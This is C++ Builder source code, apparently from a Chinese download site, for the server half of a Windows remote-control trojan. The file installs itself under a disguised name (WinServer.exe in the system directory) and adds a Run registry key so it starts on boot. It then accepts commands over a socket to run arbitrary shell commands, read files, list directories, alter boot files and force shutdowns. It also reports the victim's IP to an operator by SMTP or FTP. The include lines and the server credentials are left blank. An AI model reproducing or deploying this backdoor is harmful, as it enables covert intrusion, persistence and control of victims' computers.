www.pudn.com > 远程控制程序.rar > server_c.cpp


//--------------------------------------------------------------------------- 
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  
#pragma hdrstop 
 
#include "server_c.h" 
//--------------------------------------------------------------------------- 
#pragma package(smart_init) 
#pragma resource "*.dfm" 
TForm1 *Form1; 
//--------------------------------------------------------------------------- 
__fastcall TForm1::TForm1(TComponent* Owner) 
        : TForm(Owner) 
{ 
} 
//--------------------------------------------------------------------------- 
 
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender, 
      TCustomWinSocket *Socket) 
{ 
 
    FILE *fp=NULL; 
    char * content; 
    int times_of_try; 
    char TempFile[MAX_PATH]; 
 
    sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str()); 
 
    AnsiString temp=Socket->ReceiveText(); 
    if(temp.SubString(0,9)=="edit conf") 
    { 
        int number=temp.Length(); 
        int file_name=atoi((temp.SubString(11,1)).c_str()); 
        content=(temp.SubString(12,number-11)+'\n').c_str(); 
 
        FILE *fp=NULL; 
        char filename[20]; 
        chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE); 
        chmod("c:\\config.sys",S_IREAD|S_IWRITE); 
        if(file_name==1) 
                sprintf(filename,"%s","c:\\autoexec.bat"); 
        else if(file_name==2) 
                sprintf(filename,"%s","c:\\config.sys"); 
 
        times_of_try=0; 
        while(fp==NULL) 
        { 
                fp=fopen(filename,"a+"); 
                times_of_try=times_of_try+1; 
                if(times_of_try>100) 
                { 
                        Socket->SendText("Fail By Open File"); 
                        goto END; 
                } 
        } 
 
        fwrite(content,sizeof(char),strlen(content),fp); 
        fclose(fp); 
        Socket->SendText("Sucess"); 
    } 
 
    else if(temp.SubString(0,3)=="dir") 
    { 
        int Read_Num; 
        char * CR_LF="\n"; 
        int attrib; 
        char *filename; 
 
        DIR *dir; 
        struct dirent *ent; 
 
        int number=temp.Length(); 
        AnsiString Dir_Name=temp.SubString(5,number-3); 
        if(Dir_Name=="") 
        { 
                Socket->SendText("Fail By Open DIR's"); 
                goto END; 
        } 
        char * dirname; 
        dirname=Dir_Name.c_str(); 
 
        if ((dir = opendir(dirname)) == NULL) 
        { 
                Socket->SendText("Fail by your DIR's name!"); 
                goto END; 
        } 
        times_of_try=0; 
        while(fp==NULL) 
        { 
                fp=fopen(TempFile,"w+"); 
                times_of_try=times_of_try+1; 
                if(times_of_try>100) 
                { 
                        Socket->SendText("Fail By Open File"); 
                        goto END; 
                } 
        } 
 
        while ((ent = readdir(dir)) != NULL) 
        { 
                if(*(AnsiString(dirname)).AnsiLastChar()!='\\') 
                        filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str(); 
                else 
                        filename=(AnsiString(dirname)+ent->d_name).c_str(); 
                attrib=_rtl_chmod(filename, 0); 
 
                if (attrib & FA_RDONLY) 
                        fwrite("  R",sizeof(char),3,fp); 
                else 
                        fwrite("   ",sizeof(char),3,fp); 
                if (attrib & FA_HIDDEN) 
                        fwrite("H",sizeof(char),1,fp); 
                else 
                        fwrite(" ",sizeof(char),1,fp); 
                if (attrib & FA_SYSTEM) 
                        fwrite("S",sizeof(char),1,fp); 
                else 
                        fwrite(" ",sizeof(char),1,fp); 
                if (attrib & FA_ARCH) 
                        fwrite("A",sizeof(char),1,fp); 
                else 
                        fwrite(" ",sizeof(char),1,fp); 
                if (attrib & FA_DIREC) 
                        fwrite("    ",sizeof(char),9,fp); 
                else 
                        fwrite("         ",sizeof(char),9,fp); 
 
                fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp); 
                fwrite(CR_LF,1,1,fp); 
        } 
 
        fclose(fp); 
        closedir(dir); 
 
        FILE *fp1=NULL; 
        times_of_try=0; 
        while(fp1==NULL) 
        { 
                fp1=fopen(TempFile,"r"); 
                times_of_try=times_of_try+1; 
                if(times_of_try>100) 
                { 
                        Socket->SendText("Fail By Open File"); 
                        goto END; 
                } 
        } 
        AnsiString Return_Text=""; 
        char temp_content[300]; 
 
        for(int i=0;i<300;i++) 
                temp_content[i]='\0'; 
 
 
        Read_Num=fread(temp_content,1,300,fp1); 
        while(Read_Num==300) 
        { 
                Return_Text=Return_Text+temp_content; 
                for(int i=0;i<300;i++) 
                        temp_content[i]='\0'; 
                Read_Num=fread(temp_content,1,300,fp1); 
        }; 
 
        Return_Text=Return_Text+temp_content; 
        fclose(fp1); 
        Socket->SendText(Return_Text); 
    } 
    else if(temp.SubString(0,4)=="type") 
    { 
        int Read_Num; 
        int number=temp.Length(); 
        AnsiString File_Name=temp.SubString(6,number-4); 
        times_of_try=0; 
        while(fp==NULL) 
        { 
                fp=fopen(File_Name.c_str(),"r"); 
                times_of_try=times_of_try+1; 
                if(times_of_try>100) 
                { 
                        Socket->SendText("Fail By Open File"); 
                        goto END; 
                } 
        } 
        AnsiString Return_Text=""; 
        char temp_content[300]; 
 
        for(int i=0;i<300;i++) 
                temp_content[i]='\0'; 
 
 
        Read_Num=fread(temp_content,1,300,fp);//sizeof(char),strlen(temp_content),fp); 
        while(Read_Num==300) 
        { 
                Return_Text=Return_Text+temp_content; 
                for(int i=0;i<300;i++) 
                        temp_content[i]='\0'; 
                Read_Num=fread(temp_content,1,300,fp); 
        }; 
 
        Return_Text=Return_Text+temp_content; 
        fclose(fp); 
        Socket->SendText(Return_Text); 
    } 
    else if(temp=="reboot") 
    { 
 
        DWORD dwVersion = GetVersion(); 
 
        // Get major and minor version numbers of Windows 
//        DWORD dwWindowsMajorVersion =  (DWORD)(LOBYTE(LOWORD(dwVersion))); 
//        DWORD dwWindowsMinorVersion =  (DWORD)(HIBYTE(LOWORD(dwVersion))); 
 
        // Get build numbers for Windows NT or Win32s 
        if (dwVersion < 0x80000000)                // Windows NT 
        { 
                HANDLE hToken; 
                TOKEN_PRIVILEGES tkp; 
 
                OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 
                LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 
 
                tkp.PrivilegeCount = 1;  // one privilege to set 
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
                AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 
 
                ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0); 
        } 
        else 
                ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); 
    } 
    else 
    { 
        char * CR_TF="\n"; 
        times_of_try=0; 
        while(fp==NULL) 
        { 
                fp=fopen(TempFile,"w+"); 
                times_of_try=times_of_try+1; 
                if(times_of_try>100) 
                { 
                        Socket->SendText("Fail By Open File"); 
                        goto END; 
                } 
        } 
        fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); 
        fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); 
        fclose(fp); 
 
//        execl("c:\\windows\\winuser69.bat","c:\\windows\\winuser69.bat",NULL); 
        system(TempFile); 
        Socket->SendText("Sucess"); 
    } 
 
END:; 
    Socket->Close(); 
    ServerSocket1->Active =true; 
    if (NMSMTP1->Connected) 
        NMSMTP1->Disconnect(); 
 
    NMSMTP1->Host = //Your SMTP Server 
    NMSMTP1->UserID = //Your SMTP User ID 
    try 
    { 
            NMSMTP1->Connect(); 
    } 
    catch(...) 
    { 
            goto NextTime; 
    } 
 
    NMSMTP1->PostMessage->FromAddress = //From Where 
    NMSMTP1->PostMessage->FromName = //From Name 
    NMSMTP1->PostMessage->ToAddress->Text = //Your Email Name 
 
    NMSMTP1->PostMessage->Body->Text = AnsiString("Client/Server Running on: ") + NMSMTP1->LocalIP ; 
    NMSMTP1->PostMessage->Subject = "Client Running Now"; 
    NMSMTP1->SendMail(); 
    return; 
 
    NextTime: 
    NMFTP1->Host = //Your FTP Server Name 
    NMFTP1->UserID = //Your FTP User ID 
    NMFTP1->Port = //Your FTP Port 
    NMFTP1->Password = //Your FTP Account Password 
 
 
    if(NMFTP1->Connected) 
        NMFTP1->Disconnect(); 
    try 
    { 
        NMFTP1->Connect(); 
    } 
    catch(...) 
    { 
        return; 
    } 
    AnsiString SendToSite = "Client_Server Run on: " + NMFTP1->RemoteIP; 
    FILE * Upload=NULL; 
    Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+"); 
    fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload); 
    fclose(Upload); 
    NMFTP1->RemoveDir("public_html"); 
    NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP); 
} 
//--------------------------------------------------------------------------- 
 
void __fastcall TForm1::FormCreate(TObject *Sender) 
{ 
    char TempPath[MAX_PATH]; 
 
    GetSystemDirectory(TempPath ,MAX_PATH); 
    SystemPath=AnsiString(TempPath);            //SystemPath=c:\\winnt\\system32 
    CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\WinServer.exe").c_str() ,FALSE); 
 
    Registry=new TRegistry; 
    Registry->RootKey=HKEY_LOCAL_MACHINE; 
 
    Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE); 
    try 
    { 
        if(Registry->ReadString("Win Server")!=SystemPath+"\\WinServer.exe") 
            Registry->WriteString("Win Server",SystemPath+"\\WinServer.exe"); 
    } 
    catch(...) 
    { 
    } 
} 
//---------------------------------------------------------------------------